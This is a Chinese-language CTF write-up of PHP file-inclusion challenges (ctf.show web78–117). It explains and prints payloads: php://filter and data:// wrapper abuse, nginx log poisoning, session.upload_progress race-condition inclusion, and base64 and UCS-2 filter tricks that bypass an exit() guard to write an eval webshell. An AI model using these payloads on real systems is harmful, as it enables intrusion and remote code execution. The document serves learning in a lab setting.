前言
记录web的题目wp,慢慢变强,铸剑。
文件包含
web78
1 | if(isset($_GET['file'])){ |
开始文件包含的题型,无过滤
首先这是一个file关键字的get参数传递,php://是一种协议名称,php://filter/是一种访问本地文件的协议,/read=convert.base64-encode/表示读取的方式是base64编码后,resource=index.php表示目标文件为index.php。
通过传递这个参数可以得到index.php的源码,下面说说为什么,看到源码中的include函数,这个表示从外部引入php文件并执行,如果执行不成功,就返回文件的源码。
而include的内容是由用户控制的,所以通过我们传递的file参数,是include()函数引入了index.php的base64编码格式,因为是base64编码格式,所以执行不成功,返回源码,所以我们得到了源码的base64格式,解码即可。
payload如下
1 | file=php://filter/convert.base64-encode/resource=flag.php |
在base64解码
web79
这次多了个替换,将php替换成???,但是不碍事,用data伪协议
payload
1 | ?file=data://text/plain, system('tac flag.?hp'); |
web80
这题换input伪协议,他的php可以换成大小写混用
payload
1 | /?file=Php://input |
web81
1 | if(isset($_GET['file'])){ |
这次把协议都禁了,我看到他是nginx的容器,直接包含日志拿shell
payload
1 | ?file=/var/log/nginx/access.log&1=echo `tac fl0g.php`; |
写个exp
1 | # -- coding:UTF-8 -- |
web82
1 | if(isset($_GET['file'])){ |
首先我们需要了解一些基础知识
1 | 1. session.upload_progress.enabled = on |
enabled=on
表示upload_progress
功能开始,也意味着当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中 ;
cleanup=on
表示当文件上传结束后,php将会立即清空对应session文件中的内容,这个选项非常重要;
name
当它出现在表单中,php将会报告上传进度,最大的好处是,它的值可控;
prefix+name
将表示为session中的键名
由于上传进度可通过PHP_SESSION_UPLOAD_PROGRESS来控制,所以就意味着可以控制存储在session当中的内容
利用session.upload_progress进行文件包含利用
可以发现,存在一个文件包含漏洞,但是找不到一个可以包含的恶意文件。其实,我们可以利用session.upload_progress
将恶意语句写入session文件,从而包含session文件。前提需要知道session文件的存放位置。
分析
问题一
代码里没有session_start()
,如何创建session文件呢。
解答一
其实,如果session.auto_start=On
,则PHP在接收请求的时候会自动初始化Session,不再需要执行session_start()。但默认情况下,这个选项都是关闭的。
但session还有一个默认选项,session.use_strict_mode默认值为0。此时用户是可以自己定义Session ID的。比如,我们在Cookie里设置PHPSESSID=TGAO,PHP将会在服务器上创建一个文件:/tmp/sess_TGAO”。即使此时用户没有初始化Session,PHP也会自动初始化Session。 并产生一个键值,这个键值有ini.get(“session.upload_progress.prefix”)+由我们构造的session.upload_progress.name值组成,最后被写入sess_文件里。
问题二
但是问题来了,默认配置session.upload_progress.cleanup = on
导致文件上传后,session文件内容立即清空,
如何进行rce呢?
解答二
此时我们可以利用竞争,在session文件内容清空前进行包含利用。
写个py跑脚本
1 | # # -- coding:UTF-8 -- |
web83
多了session销毁,但是不影响,继续上一个脚本撸
web84
多了个删除rm -rf /tmp/*,但是不影响
1 | # # -- coding:UTF-8 -- |
web85
这次加了个判断/tmp/sess_gylq中是否包含<否则就报错,但是我们线程足够高,条件竞争可以强行绕过,继续跑
web86
继续上个脚本跑
web87
1 | if(isset($_GET['file'])){ |
这题换成了file_put_contents了
我们来了解一些基础知识
php://filter是PHP语言中特有的协议流,作用是作为一个“中间流”来处理其他流。比如,我们可以用如下一行代码将POST内容转换成base64编码并输出:
readfile("php://filter/read=convert.base64-encode/resource=php://input");
使用编码不光可以帮助我们获取文件,也可以帮我们去除一些“不必要的麻烦”。
1 | $filename=$_GET['filename']; |
分析了下,$content
在开头增加了exit过程,导致即使我们成功写入一句话,也执行不了(这个过程在实战中十分常见,通常出现在缓存、配置文件等等地方,不允许用户直接访问的文件,都会被加上if(!defined(xxx))exit;之类的限制)。那么这种情况下,如何绕过这个“死亡exit”?
幸运的是,这里$filename
是可以控制协议的,我们可以使用php://filter协议来解决这个问题使用php://filter流的base64-decode方法,将$content
解码,利用php base64_decode函数特性去除“死亡exit”。
众所周知,base64编码中只包含64个可打印字符,而PHP在解码base64时,遇到不在其中的字符时,将会跳过这些字符,仅将合法字符组成一个新的字符串进行解码。
一个正常的base64_decode可以理解为
1 |
|
所以,当$content被加上了<?php exit;?>
,我们就可以使用php://filter/write=convert.base64-decode
对其解码,在解码的过程中字符<、?、;、>、空格等字符不符合base64编码的字符范围将被忽略,所以最终字符仅有”phpdie”六个字符
“phpdie”一共六个字符因为base64算法解码时是4个byte一组,所以给他增加2个‘a’一共8个字符,这样,“phpdieaa”才能被正常解码,则后面我们传入的webshell的base64编码内容也能被正常解码
GET传入?filename=php://filter/convert.base64-decode/resource=simple.php
再post传入content=aaPHBocCBldmFsKCRfUkVRVUVTVFsxXSk7Pz4=
生成如下图所示
由于这题源码过滤了php,但是他又写了个urldecode,所以我们可以通过双重url解密来bypass
这回我们写一个shell.php
payload
1 | ?file=php://filter/convert.base64-decode/resource=shell.php(要两次url编码) |
这样就可以绕过执行webshell了
了解原理了,也知道如何手工,再写个exp
1 | # # -- coding:UTF-8 -- |
web88
分析源码,发现data没过滤,直接伪协议,base64编码shell,payload
1 | http://80accf7c-3e21-4c26-97c4-4a29c404934c.challenge.ctf.show:8080/?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZiouKicpPz4 |
web116
通过下载视频,然后010editor可以看到里面有张图,提取出来发现源码是一个文件包含
虽然过滤了很多,但是file_get_contents是可以直接获取源码的。
payload
web117
1 | highlight_file(__FILE__); |
还是绕死亡die,这回禁了base64和rot13,可以换其他的方法
convert.iconv.: 一种过滤器,和使用iconv()函数处理流数据有等同作用
iconv ( string $in_charset , string $out_charset , string $str )
:将字符串$str
从in_charset
编码转换到$out_charset
这里引入ucs-2的概念,作用是对目标字符串每两位进行一反转,值得注意的是,因为是两位所以字符串需要保持在偶数位上查看编码的传送门
1 | $result = iconv("UCS-2LE", "UCS-2BE", '<?php eval($_REQUEST[1])?>'); |
可以看到,经过两次反转之后代码又组装回来,思路就是用经过一次反转后的webshell和死亡代码<?php die();?>
一起组合之后,经过第二次反转我们的webshell就恢复正常了,而死亡代码会被反转打乱不能执行
exp修改一下之前的代码
1 | # # -- coding:UTF-8 -- |